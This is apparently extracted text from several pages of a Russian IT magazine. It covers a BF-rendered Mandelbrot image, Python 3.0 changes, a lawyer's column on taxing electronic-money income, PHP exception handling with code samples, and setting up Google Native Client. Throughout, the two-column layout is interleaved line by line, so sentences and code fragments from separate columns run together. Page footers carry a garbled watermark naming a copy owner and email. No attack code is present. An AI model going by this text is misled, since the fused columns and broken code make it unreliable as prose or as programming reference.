бее возможностей любых других язы- AAABCCCCCCCCCCCCCCCCCDDDDDDDEEFJIHFFFFFFFFFFFFFFGGGGGGHIJN JHHGFEEDDDDCCCCCCCCCCCCCBBB
AAAABCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEEFFFFFFGGHYV RQU QMJHGGFEEEDDDCCCCCCCCCCCCCBBBB
ков программирования, таких, к при- AAAABBCCCCCCCCCCCCCCCCCCCCCCCCCDDDDEEEEEEEEEEEEEEEFFFFFFGHIJKLOT [JGFFEEEDDCCCCCCCCCCCCCBBBBB
AAAAABBCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDEEEEEEEEEEEEFFFFFGHHIN Q UMWGEEEDDDCCCCCCCCCCCCBBBBBB
меру, как ассемблер, C, Java и прочее. AAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDEEEEEEEEEFFFFGH O TN S NKJKR LLQMNHEEDDDCCCCCCCCCCCCBBBBBBB
AAAAAABBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDEEEEEEFFGHK MKJIJO N R X YUSR PLV LHHHGGHIOJGFEDDDCCCCCCCCCCCCBBBBBBBB
В это непросто поверить, но матема- AAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEEFGGHIIHHHHHIIIJKMR VMKJIHHHGFFFFFFGSGEDDDDCCCCCCCCCCCCBBBBBBBBB
AAAAAAABBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEFFFFFFGGGGHIKP KHHGGFFFFEEEEEEDDDDDCCCCCCCCCCCBBBBBBBBBBB
тика, из которой следует заключение AAAAAAAABBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEFFFFFGGHJLZ UKHGFFEEEEEEEEDDDDDCCCCCCCCCCCCBBBBBBBBBBBB
AAAAAAAAABBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGQPUVOTY ZQL[MHFEEEEEEEDDDDDDDCCCCCCCCCCCBBBBBBBBBBBBBB
(теория вычислимости и рекурсивных AAAAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDEEEEEEFFGHIJKS X KHHGFEEEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBB
AAAAAAAAAAABBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEEFGGHHIKPPKIHGFFEEEDDDDDDDDDCCCCCCCCCCBBBBBBBBBBBBBBBBBB
функций), не нуждается в вере. Язык AAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDEEEEEFFGHIMTKLZOGFEEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBB
AAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDEEEEFFFI KHGGGHGEDDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBB
BF, при всей его непрактичности, мо- AAAAAAAAAAAAAAABBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDEEEFGIIGFFEEEDDDDDDDDCCCCCCCCCBBBBBBBBBBBBBBBBBBBBBBBBBB
жет служить примером (причем, еще не Рисунок 2. Фрактальное множество Бенуа Мандельброта, построенное BF-программой
Сергей Супрунов
Революция, о которой так долго говорили «пайтонисты», свершилась! В ночь с 3 на 4 декабря
2008 года было официально объявлено о выходе Python 3.0 final, известного также
под именами Python 3000 и Py3k.
Я
зык Python увидел свет в 1991 го- ков языка избегать значительных мо- менения, способные повлиять на пове-
ду и по сей день достаточно дификаций, сохраняя, насколько это дение существующих python-программ,
активно развивается. Одной возможно, совместимость с кодом, Гвидо ван Россум, «главный идеолог»
из особенностей этого развития всег- разработанным для предыдущих вер- языка, обычно отшучивался, что эти
да являлось стремление разработчи- сий. На просьбы же внести в язык из- изменения планируется внести в ре-
68
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
лиз Python 3000, намекая на очень отдалённый год его вы- выполняется специально разработанной утилитой 2to3 (чуть
пуска. Теперь будущее наступило. подробнее о ней будет сказано ниже).
Здесь же отмечу, что функция ввода raw_input() пере-
Обзор основных изменений именована в input().
Новшествами, описанными в этом разделе, список измене-
ний, внесённых в версию 3.0 языка Python, не исчерпывает- Метод format() вместо «%»
ся – здесь приведены лишь наиболее заметные из них. До- Мы все привыкли к конструкциям типа:
полнительную информацию можно будет получить на стра-
нице документации: http://docs.python.org/3.0. print 'Итого: %d' % total
Оператора print больше нет когда в строке задаются «знакоместа», которые при выво-
Наиболее серьёзная «утрата», поскольку этот оператор вы- де замещаются значениями переменных, перечисленных
вода используется практически везде. В 3.0 его уже не су- в кортеже (tuple) после символа «%». Основным недостат-
ществует – для вывода переменных следует использовать ком оператора «%» является то, что это бинарный опера-
одноимённую функцию print(). Представляю, насколько тя- тор, т.е. он способен принимать только два операнда. Кро-
жело далось разработчикам языка это решение – сломать ме того, имеет место «перекрытие» некоторых функций
такой привычный «инструмент». Но зато функция предо- данного оператора и типа string, что усложняет реализа-
ставляет возможность более гибко управлять своей рабо- цию. Поэтому, хотя в версии 3.0 этот синтаксис сохраня-
той с помощью именованных параметров, а также лучше ется, имеет смысл отвыкать от него уже сейчас, посколь-
вписывается в общий стиль программы, поскольку позво- ку в Python 3.1 он, скорее всего, будет объявлен устарев-
ляет обойтись без «нетрадиционных» синтаксических конс- шим. Теперь следует использовать более универсальный
трукций вроде: и гибкий метод format():
Теперь аналогичная задача будет решаться обычной Цифра в фигурных скобках означает порядковый номер
функцией: позиционного аргумента метода. Можно использовать так-
же именованные аргументы:
print('Error', file=sys.stderr)
print('Итого: {sum} {0}'.format(currency, sum=total)
Среди прочих параметров – sep, позволяющий изменить
символы-разделители нескольких аргументов (по умолча- Помимо просто заполнения знакоместа поддержи-
нию – пробел), и end, задающий символы, добавляемые ваются практически все возможности прежнего форма-
в конец вывода (по умолчанию – символ новой строки): тирования, а также добавлены новые (вдаваться в под-
робности сейчас не буду, детали можно найти в докумен-
>>> print(1, 2, 3) те PEP-3101 – http://python.org/dev/peps/pep-3101). На мой
1 2 3 взгляд, синтаксис этого метода тоже сложно назвать прос-
тым и понятным, но всё же он лучше соответствует обще-
>>> print(1, 2, 3, sep='->', end='!!!\n')
му стилю языка.
1->2->3!!! В ряде случаев для форматированного вывода удобно
использовать встроенную функцию format() вместо print():
Кроме того, нужно учитывать и ряд отличий в поведении
оператора print и новой функции print(). Например, в обоих >>> format(2/3, '8.3f')
случаях аргументы выводятся по умолчанию через про- ' 0.667'
бел, однако в операторе поддерживаются так называемые
программные пробелы (softspaces), когда реальный пробел Расширить возможности форматирования можно, оп-
отображается только в том случае, если предыдущий сим- ределив в своих классах метод __format__(). Также этот
вол – не перенос строки. Функция print() отображает про- метод поддерживается практически всеми встроенными
белы всегда. Пример: классами:
70
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
программирование
n Пользователям UNIX-подобных систем следует более raise Exception(message)
внимательно относиться к переменной окружения LANG
(или LC_CTYPE) – именно ей интерпретатор будет ру- Также в операторе «try – except» вместо:
ководствоваться при работе с именами файлов, задан-
ных в национальной кодировке, и в ряде других случа- except Exception, var
ев. (Пользователям Windows чуть проще, так как эта
ОС уже хранит имена файлов в Unicode.) нужно использовать синтаксис:
n Функция repr() и метод строк __repr__() больше не вы-
полняют преобразование «неASCII»-кода в escape-пос- except Exception as var
ледовательности (в Python 2.5 функция repr('строка') воз-
вратит «'\\xe1\\xe2\\xe0\\xae\\xaa\\xa0'», в то время как Теперь поддерживаются так называемые цепочки ис-
в 3.0 – «'строка'»). Escape-последовательности сохра- ключений – при возникновении исключения в блоке except
нились только для управляющих символов – «\n», «\t» или finally оператора «try – except – finally» доступ к перво-
и ряда других. начальному исключению можно получить через атрибут
__context__.
Подробности вы найдёте в следующем документе: http:// Если в некоторой переменной (допустим, exceptvar) со-
docs.python.org/3.0/howto/unicode.html#unicode-howto. хранён объект исключения, то цепочку исключений мож-
но вызвать и явно:
Никаких исключений для исключений
Исключения (Exceptions) стали полностью «объектно-ори- raise Exception() from exceptvar
ентированными». Теперь даже оператор raise требует
в качестве аргумента только объект, являющийся потом- В этом случае первоначальное исключение exceptvar со-
ком по крайней мере класса BaseException; использова- храняется в атрибуте __cause__ объекта Exception.
ние простых строковых сообщений не допускается (хотя
и в 2.5 оператор «raise 'Error message'» уже выполняется Закат «классических» классов
с предупреждением): Изначально в языке Python классы и типы, несмотря на вне-
шнее сходство, имели различное внутреннее устройс-
>>> raise 'Error message' тво, что не позволяло выполнять наследование от типов.
__main__:1: DeprecationWarning: raising a string exception is deprecated В Python 2, дополнительно к этим «классическим» классам,
Traceback (most recent call last):
File “<stdin>”, line 1
были добавлены «новые» – чтобы использовать их возмож-
TypeError: exceptions must derive from BaseException ности, требовалось явное наследование от класса object.
Теперь «классические» классы исключены из языка, и лю-
>>> raise Exception, 'Error message'
бой класс (в том числе и пользовательский без явного ука-
File “<stdin>”, line 1 зания родительского класса) работает как «новый».
raise Exception, 'Error message'
^
SyntaxError: invalid syntax
Прочие «мелочи»
>>> raise Exception('Error message')
Появился синтаксис «расширенной распаковки», упроща-
ющий развёртывание списка или значений итерируемого
File “<stdin>”, line 1, in (module)
Exception: Error message объекта в отдельные переменные. Пример:
72
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
закон есть закон
Тема, конечно, не совсем админская, ценными бумагами нельзя. Сертифи‑
но интересно было бы узнать, каков каты также удостоверяют права вла‑
сейчас на территории России юри- дельцев на ценные бумаги только до‑
дический статус виртуальных де- кументарной формы, таким образом,
нег. Скажем, если я получаю воз- документы, выпускаемые платежной
награждение за некоторую работу системой WebMoney, ценными бума‑
«Яндекс.Деньгами» или «векселями» гами не являются.
WebMoney, считается ли это юриди- В связи с тем что виртуальные
чески доходом, должен ли уплачи- деньги таковыми не являются, а так‑
ваться с этих сумм налог и т. п.? же не являются ценными бумагами,
В настоящее время юридический ста‑ к ним неприменимы правила о валют‑
тус виртуальных (электронных) де‑ ном регулировании и валютном конт‑
нег законодательством не определен. роле, то есть продавать часть валют‑
Рубрику ведет юрист
Единственным законным средством ной выручки, учитывать курсовую раз‑ Юлия Штокало
платежа на территории России являет‑ ницу не надо. Но на основании вышеу‑
ся рубль. Однако гражданское законо‑ казанных доводов нельзя сказать, что ченное за выполненные работы (услу‑
дательство предусматривает возмож‑ применение электронных денег для ги) также считается доходом, подлежа‑
ность использования при совершении расчетов является незаконным. В свя‑ щим налогообложению. В случае, если
сделок электронной цифровой подписи зи с отсутствием законов, которые бы ваши работы (услуги) оплатили через
и предоставляет возможность заключе‑ регулировали эти отношения, возни‑ электронные деньги без исчисления
ния договора путем обмена документа‑ кают трудности с их юридическим оп‑ и уплаты налога на доход, вы должны
ми посредством электронной или иной ределением, что никак не влияет на их исчислить и уплатить налог самосто‑
связи, позволяющей достоверно уста‑ легитимность. ятельно на основании налоговой де‑
новить, что документ исходит от сторо‑ При получении дохода в виде элек‑ кларации, которую подаете в налого‑
ны по договору. Таким образом, исполь‑ тронных денег может возникнуть воп‑ вый орган не позднее 30 апреля года,
зование электронных средств платежа – рос: платить ли с этих денег налоги? следующего за тем, в котором был по‑
виртуальных (электронных) денег – яв‑ По общему правилу российские орга‑ лучен доход. Уплата указанного в на‑
ляется вполне законным. низации, от которых или в результате логовой декларации дохода должна
Обычно после заключения согла‑ отношений с которыми налогоплатель‑ быть произведена в течение 15 кален‑
шения с электронной платежной сис‑ щик получил доход, обязаны исчис‑ дарных дней с даты подачи деклара‑
темой вы принимаете условия, изло‑ лить, удержать у налогоплательщика ции. При этом вам не обязательно са‑
женные в этом соглашении. Все элек‑ и уплатить сумму НДФЛ. мостоятельно приобретать эту форму,
тронные платежные системы рабо‑ Возможны ситуации, когда ор‑ ее можно скачать с сайта налоговиков:
тают по принципу предоплаченности, ганизация обязана удержать налог, http://www.nalog.ru. Для исчисления на‑
то есть оплата с электронного кошель‑ но не имеет возможности это сделать. лога вам понадобятся: форма налого‑
ка возможна только после пополнения В данном случае речь может идти о лю‑ вой декларации по налогу на доходы
счета путем приобретения «титульных бой фирме – осуществляющей расчеты физических лиц (форма 3‑НДФЛ) и по‑
знаков» либо зачисления «Платежа» как через электронные средства плате‑ рядок ее заполнения. Форму для за‑
в виртуальный кошелек пользовате‑ жа, так и наличными деньгами. При по‑ полнения налоговой декларации мож‑
ля. Работа через систему WebMoney лучении дохода от иностранной органи‑ но взять и в IT-отделе налоговой инс‑
осуществляется путем приобретения зации вы должны будете самостоятель‑ пекции вашего района.
выпускаемых электронной платежной но посчитать и уплатить за себя нало‑ При подаче декларации вы указы‑
системой «титульных знаков». В систе‑ ги. В таком случае организация в ме‑ ваете общую сумму полученного до‑
ме «Яндекс.Деньги» вы делаете пла‑ сячный срок с момента возникновения хода и расписываете, из каких источ‑
теж на свой виртуальный счет. обязанности по удержанию должна со‑ ников он получен (см. http://www.rg.ru/
В договорах с WebMoney титуль‑ общить о невозможности удержать на‑ 2006/02/07/deklaracia-prikaz-dok.html).
ные знаки по названию совпадают логи и сумме задолженности в налого‑ Далее сами подсчитываете налог,
с названием ценных бумаг или серти‑ вую. Организация, с которой вы работа‑ льготы и налоговые вычеты, уплачи‑
фикатов ценных бумаг, однако с точки ете может проводить неофициальные ваете налог и представляете декла‑
зрения закона они ценными бумагами платежи по оплате работ (услуг), в та‑ рацию в налоговую инспекцию. Доку‑
признаваться не могут. Поскольку, на‑ ком случае налог за вас также не уп‑ ментальное подтверждение получен‑
пример, электронные чеки, используе‑ лачивается (данная схема не совсем ных доходов предоставлять не нужно,
мые при безналичных расчетах могут соответствует требованиям закона, но необходимы только копии документов
выпускаться только кредитными орга‑ она все же имеет место быть). Однако подтверждающих льготы или налого‑
низациями и должны быть оформлены при налогообложении учитываются все вое вычеты (если таковые имеются).
согласно требованиям, установленным доходы, полученные вами как в денеж‑ Размеры и порядок применения льгот
законодательством, а электронные че‑ ной, так и в натуральной формах. На‑ по налогообложению и налоговых вы‑
ки WebMoney не отвечают этим тре‑ логовым законодательством предус‑ четов определяется Налоговым ко‑
бованиям, то называть эти документы мотрено, что вознаграждение, полу‑ дексом РФ.
Антон Гришан
Большую часть времени и сил разработчики тратят на обработку ситуаций, которые
случаются редко или вообще никогда не происходят, однако именно по поведению системы
в нестандартных ситуациях можно судить о качестве программного продукта.
П
ятая версия PHP пред лага- внедрение обработки исключитель- граммирования, с помощью конструк-
ет объектно-ориентированный ных ситуаций, подобно тому, как это ции try-catch.
подход к разработке веб-при- реализовано во многих других объ- Генерация исключений – наиболее
ложений. Одно из удобных новшеств – ектно-ориентированных языках про- современный подход, разработанный
74
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб-программирование
с учетом недостатков существовавших ранее способов. В случае возникновения ошибки можно вернуть значе-
Чтобы лучше понять, какие преимущества дает использо- ние, которое не содержится во множестве значений, воз-
вание механизма исключений, рассмотрим несколько при- вращаемых функцией в штатном режиме. Например, для
меров реакции приложения на возникающие ошибки. функции определения длины строки признаком возникно-
вения ошибки может быть значение -1 или false, как в при-
Пример 1: прекращение выполнения программы веденном выше примере. В отличие от предыдущего при-
в случае возникновения ошибки мера обработка ошибок вынесена в вызывающую функцию,
что повышает гибкость и улучшает переносимость кода.
<?php Возврат специальных значений не позволяет опреде-
/**
* Метод осуществляет подключение к серверу MySQL, лить, в каком месте функции произошла ошибка. В приве-
* в случае ошибки завершает работу программы денном примере метод connect() вернет false в случае не-
*/
public function connect($dbName, $host, $port, $login, ↵ возможности установить соединение с БД и в случае не-
$password, $charset) { возможности установить требуемую кодировку. Получив
.......
$db = new mysqli($host, $login, $password, ↵ в качестве работы функции false, сложно понять, что имен-
$dbName, $port); но произошло, и соответственно сложно сформировать ин-
// Проверяем, возникла ли ошибка в ходе подключения формативное сообщение об ошибке и правильно выбрать
// к БД метод обработки.
if(($errorCode = mysqli_connect_errno()) != 0) {
die("Can't connect to DB: [".$errorCode."] ↵
".mysqli_connect_error()); Пример 3: возврат кода ошибки
}
.......
// Устанавливаем кодировку, которую будем <?php
// использовать для общения с БД /**
if(!$db->set_charset($charset)) { * Метод осуществляет подключение к серверу MySQL,
// Установить нужную кодировку не удалось * в случае ошибки, возвращает код ошибки
die("Сan't set charset [".$charset."]"); */
} public function connect($dbName, $host, $port, $login, ↵
....... $password, $charset) {
}
?> define('SUCCESS', 0);
define('ERROR_DB_CONNECTION', 1);
define('ERROR_DB_CHARSET', 2);
Первый способ реакции на нестандартную ситуацию –
вывести сообщение об ошибке и прекратить работу при- .......
$db = new mysqli($host, $login, $password, ↵
ложения. Такой подход имеет два существенных недо- $dbName, $port);
статка:
// Проверяем, возникла ли ошибка в ходе подключения
n Возможно, код будет использован в другом приложении, // к БД
которое не требует прекращения выполнения приложе- if(($errorCode = mysqli_connect_errno()) != 0) {
return(ERROR_DB_CONNECTION);
ния в случае возникновения данной ошибки. }
n Отображение информации об ошибке для обычно- .......
// Устанавливаем кодировку, которую будем
го пользователя не представляет никакого интереса, // использовать для общения с БД
но может помочь злоумышленнику осуществить про- if(!$db->set_charset($charset)) {
// Установить нужную кодировку не удалось
никновение в систему. return(ERROR_DB_CHARSET);
}
.......
Пример 2: возврат специального значения return(SUCCESS);
}
?>
<?php
/**
* Метод осуществляет подключение к серверу MySQL, Возврат кода ошибки позволяет идентифицировать при-
* в случае ошибки возвращает FALSE чину возникновения ошибки и правильно отреагировать на
*/
public function connect($dbName, $host, $port, $login, ↵ возникшую ситуацию в вызывающем коде. Однако к недо-
$password, $charset) { статкам этого подхода можно отнести:
.......
$db = new mysqli($host, $login, $password, ↵ n ухудшение инкапсуляции кода, так как вызывающий ме-
$dbName, $port); тод должен знать, что означает каждый код возврата;
// Проверяем, возникла ли ошибка в ходе подключения n как правило, в качестве кодов ошибок используются це-
// к БД лые числа, что осложняет использование данного ме-
if(($errorCode = mysqli_connect_errno()) != 0) {
return(false); тода для функций, возвращающих число в качестве ре-
} зультата работы.
.......
// Устанавливаем кодировку, которую будем
// использовать для общения с БД Пример 4: генерация исключения
if(!$db->set_charset($charset)) {
// Установить нужную кодировку не удалось
return(false); <?php
} /**
....... * Метод осуществляет подключение к серверу MySQL,
return(true); * в случае ошибки, бросает исключение
} */
?>
76
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб-программирование
В момент создания объекта класса Exception PHP ав- да одни и те же значения. Для сохранения реальных дан-
томатически собирает дополнительную информацию, та- ных об ошибке необходимо самостоятельно указать файл
кую как имя файла, в котором создан объект, номер стро- и номер строки, что позволяет сделать конструктор клас-
ки, стек вызова функций, и сохраняет эту информацию са ErrorException.
в свойствах объекта. Рассмотрим пример извлечения под- Дополни тельные типы ис к лючений, так ие как
робных данных об ошибке. BadFunctionCallException, BadMethodCallException,
DomainException, InvalidArgumentException, LengthException,
<?php LogicException, OutOfBoundsException, OutOfRangeException,
// Создадим объект Exception и попробуем извлечь максимум
// информации OverflowException, RangeException, RuntimeException,
$error = new Exception('Test PHP exceptions', 2009); UnderflowException, UnexpectedValueException, можно найти
// Сообщение об ошибке в библиотеке SPL (Standard PHP Library, см. http://ru.php.net/
echo $error->getMessage(); manual/en/spl.exceptions.php).
// Код ошибки
echo $error->getCode(); Оператор throw
// Файл, где произошла ошибка Вызов оператора throw приводит к прекращению выпол-
echo $error->getFile(); нения основного алгоритма и передаче управления ко-
// Номер строки, где было сгенерировано исключение ду обработке ошибки, если таковой отсутствует, то проис-
echo $error->getLine(); ходит аварийное завершение работы приложения. В ка-
// Стек вызова функций до момента генерации исключения честве параметра оператор throw принимает объект клас-
// в виде строки са Exception.
echo $error->getTraceAsString();
<?php
// Объявим функцию, которой PHP будет передавать данные
// о возникших ошибках Общие рекомендации по использованию
function exception_error_handler($errno, $errstr, ↵
$errfile, $errline ) {
исключений
throw new ErrorException($errstr, 0, $errno, ↵ n Используйте исключения только для действитель-
$errfile, $errline); но исключительных ситуаций. Если в результате воз-
}
никновения ошибки продолжение исполнения основно-
// Назначим нашу функцию в качестве обработчика ошибок го алгоритма невозможно – возбуждение исключения
set_error_handler("exception_error_handler");
является оправданным шагом.
// Попробуем вызвать функцию с неправильным n Максимально подробно описывайте произошедшую
// количеством аргументов
strpos(); ошибку. Всегда указывайте максимально подробную
?> информацию о произошедшей ошибке, если ошибка
произошла из-за отсутствия файла, обязательно ука-
Результатом работы скрипта будет генерация исключе- жите полный путь к файлу, который не удалось обнару-
ния типа ErrorException, содержащая описание возникшей жить. Чем подробнее вы опишете возникшую ошибку,
проблемы (Wrong parameter count for strpos()). тем проще отлаживать и сопровождать приложение.
Если в приведенном выше примере для документиро- n Документируйте возможные исключения. Если ме-
вания ошибки вместо класса ErrorException использовать тод в определенных ситуациях генерирует исключение,
Exception, то метод getFile() вернет имя файла, где объяв- обязательно укажите это в документации, чтобы предуп-
лена функция – перехватчик ошибок, а getLine() – номер редить разработчиков о необходимости использования
строки, отвечающей за генерацию исключения, т.е. всег- конструкции try-catch.
78
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
bugtraq
Native Client –
Rich Internet Applications от Google
Кирилл Сухов
Rich Internet Applications – что это такое и где применяется? Мы этим уже пользуемся
или это только туманное будущее? Попытаемся разобраться в данных вопросах, рассмотрев
концепцию RIA на различных примерах. Сегодня мы установим и опробуем Google Native Client.
Ч
то такое Rich Internet Applications? тинговый термин», но в данном слу- сеть и предоставляющие клиенту ре-
Если честно, так и хочется ляпнуть чае я погрешу против истины. RIA – сурсы веб-сервера, но обладающие
что-то вроде «очередной марке- это приложения, работающие через функциональностью полноценных на-
80
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб
стольных приложений. Это опреде- мина «native code» в голову не прихо-
ление не страдает академичностью. дит) для архитектуры x86.
Я его только что выдумал, но (по мо- В отличие от JavaFX или Silverlight
ему мнению) оно не хуже любого дру- в этой технологии нет компиляции
гого. По сути Rich Internet Applications в байт-код и какой-либо виртуальной
(RIA) – это следующая ступень эволю- машины. Была создана среда выпол-
ции: от страничек, сайтов, через веб- нения, позволяющая запускать обыч-
приложения к чему-то далёкому и пол- ные, «родные» для этой платформы
нофункциональному. программы в безопасном для дан-
Как правило, RIA-приложения крос- ной системы окружении. Разработчи-
сплатформенны, запускаются в брау- ки идеально выдержали модель «пе-
зере и не требуют какой-либо дополни- сочницы».
тельной установки программного обес- Во избежание взаимодействия
печения на стороне клиента. В качес- Native Client непосредственно с опе-
тве примера веб-приложений, близ- рационной системой весь код ис-
ких по идеологии к RIA, можно при- полняется в отдельном, изолирован-
вести Google Maps, GMail или роли- ном контейнере. Это позволяет моду-
ки YouTube. лю использовать системные ресурсы,
Впервые этот термин прозву- но в то же время ограждает ОС от воз-
чал из уст маркетологов компании можного случайного или злонамерен-
Macromedia теперь уже в далёком ного повреждения [2].
2001 году. С тех пор появилось не- В целом Native Client (NaCL) состо-
мало технологий и реализаций дан- ит из контейнера, играющего роль пе-
ной концепции. Наиболее извест- сочницы, и среды исполнения (runtime)
ные из них: Adope Air, Alchemy, Flex, нативного кода. Третьим элементом
JavaFX, Microsoft Silverlight, XULRunner выступает плагин для веб-браузе-
от Mozilla Foundation и только что поя- ра. Для коммуникации между браузе-
вившийся Google Native Client. ром и NaCL-модулем предоставляет
При всём разнообразии подхо- два варианта: simple RPC‑интерфейс
дов технологии RIA имеют некото- (SRPC) и давно известный Netscape
рые общие черты, и самая глав- Plugin Application Programming Interface
Рисунок 1. Структура Google Native
ная из них – концепция песочницы (NPAPI). Client
(sandbox). Как правило, любое RIA вы- Писать модули для Google Native
полняется в локальной, изолирован- Client предполагается на любом компи-
ной среде, и хотя использует ресур- лирующемся на данной системе языке
сы компьютера-клиента, не может фа- программирования.
тально влиять на его систему. В настоящий момент Google Native
Обычно RIA-приложения взаи- Client рассматривается как экспери-
модействуют с сервером асинхрон- ментальная технология, но разве это
но, не прерывая работу пользовате- мешает нам попробовать её в деле
ля для получения ответа. Они име- прямо сейчас?
ют богатый пользовательский интер-
фейс и не предъявляют каких-либо Первое знакомство
особых требований к компьютерам- Скачиваем Native Client SDK со стра-
клиентам. нички проекта – http://code.google.com/
p/nativeclient/wiki/Downloads.
Google Native Client – Сразу хочу заметить, что хотя тех-
Quake в браузере и другие нология и позиционируется как крос-
Рисунок 2. Native Client приложение
Понятно, что такой гигант, как Google, сплатформенная (представлены сбор- «life»
не мог стоять в стороне от тенденции, ки SDK для Linux, Windows и Mac, а так-
которую сам же и создал. Первый шаг же исходный код приложения), чтобы (на момент написания этой статьи ра-
в этом направлении, замечательный в полной мере её опробовать, пользо- бота с Python 2.6 давала ошибки).
инструментарий Google Gears, был вы- вателям ОС Windows придется выпол- Полученный архив распаковываем
пущен ещё в конце весны 2008 года, нить несколько больше телодвиже- в любое удобное место и рассматрива-
а в декабре 2008 года компания пред- ний, а именно установить интерпре- ем полученный результат. На рис. 1 по-
ставила свою RIA-технологию – Google татор Python и возможно cygwin. При- казана структура Native Client SDK.
Native Client. Её суть – запуск в браузе- чём Pyhton (это уже касается поль- Директории common/ и tests/ содер-
ре модулей, написанных на нативном зователей любой операционной сис- жат исходные коды примеров и тес-
коде (увы, адекватного перевода тер- темы) должен быть версии 2.4.x-2.5.x тов, директории scons-out/, site_scons/
python run.py
Устанавливаем
Native Client-плагин
Сначала закроем все экземпляры бра-
узера, который мы хотим пропачтить
(в данном случае это рекомендуемый
руководством Firefox 3).
Затем отправляемся в директо-
рию googleclient/native_client/ и запус-
каем команду:
82
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб
но, несмотря на все усилия, мне так и не удалось добить-
ся нормального выполнения этой команды. Но можно пой-
ти другим путём – необходимо скопировать из папки \nacl\
googleclient\native_client\scons-out\opt-win\staging в папку
C:\Program Files\Mozilla Firefox\plugins следующие 3 фай-
ла: inpGoogleNaClPlugin.dll, SDL.dll, sel_ldr.exe и переза-
пустить браузер.
Теперь проверим установленный плагин. Зайдём в ди-
ректорию googleclient/native_client/scons-out/nacl/staging
и раскроем браузером файл index.html. Мы получим доступ
к различным тестам, представляющими собой html-стра-
нички с внедрёнными скомпилированными приложениями
Google Native Client (см. рис. 5).
Если посмотреть исходный код такого html-файла,
мы увидим примерно следующую конструкцию:
<HTML>
<HEAD>
<TITLE>Some Demo</TITLE>
<script type="text/javascript">
var nacl_elt;
// Before scripting the loaded module, ensure the Native Рисунок 5. Тестируем плагин
// Client module is loaded.
var startupTimeout;
var PostLoadInit = function() {
if (nacl_elt.__moduleReady == 1) {
clearTimeout(startupTimeout);
nacl_elt.focus();
} else {
if (nacl_elt.__moduleReady == undefined) {
alert('The Native Client plugin was unable to load');
return;
}
startupTimeout = setTimeout(PostLoadInit, 100);
}
}
Как видите, тут нет ничего сложного – при загрузке стра- После этого запустится самостоятельное приложение,
ницы сначала с помощью JavaScript производится провер- представляющее собой вращающееся изображение земно-
ка наличия модуля, и в случае успеха он загружается в кон- го шара, а в папки примера появится исполняемый файл –
тейнер с id embed1. В случае неудачи выводится сбиваю- earth_debug.
щее с толку сообщение – «The Native Client plugin was unable Теперь соберём Native client-модуль:
to load». Почему сбивающее с толку? Сейчас я это покажу.
make release nacl
Земля в иллюминаторе
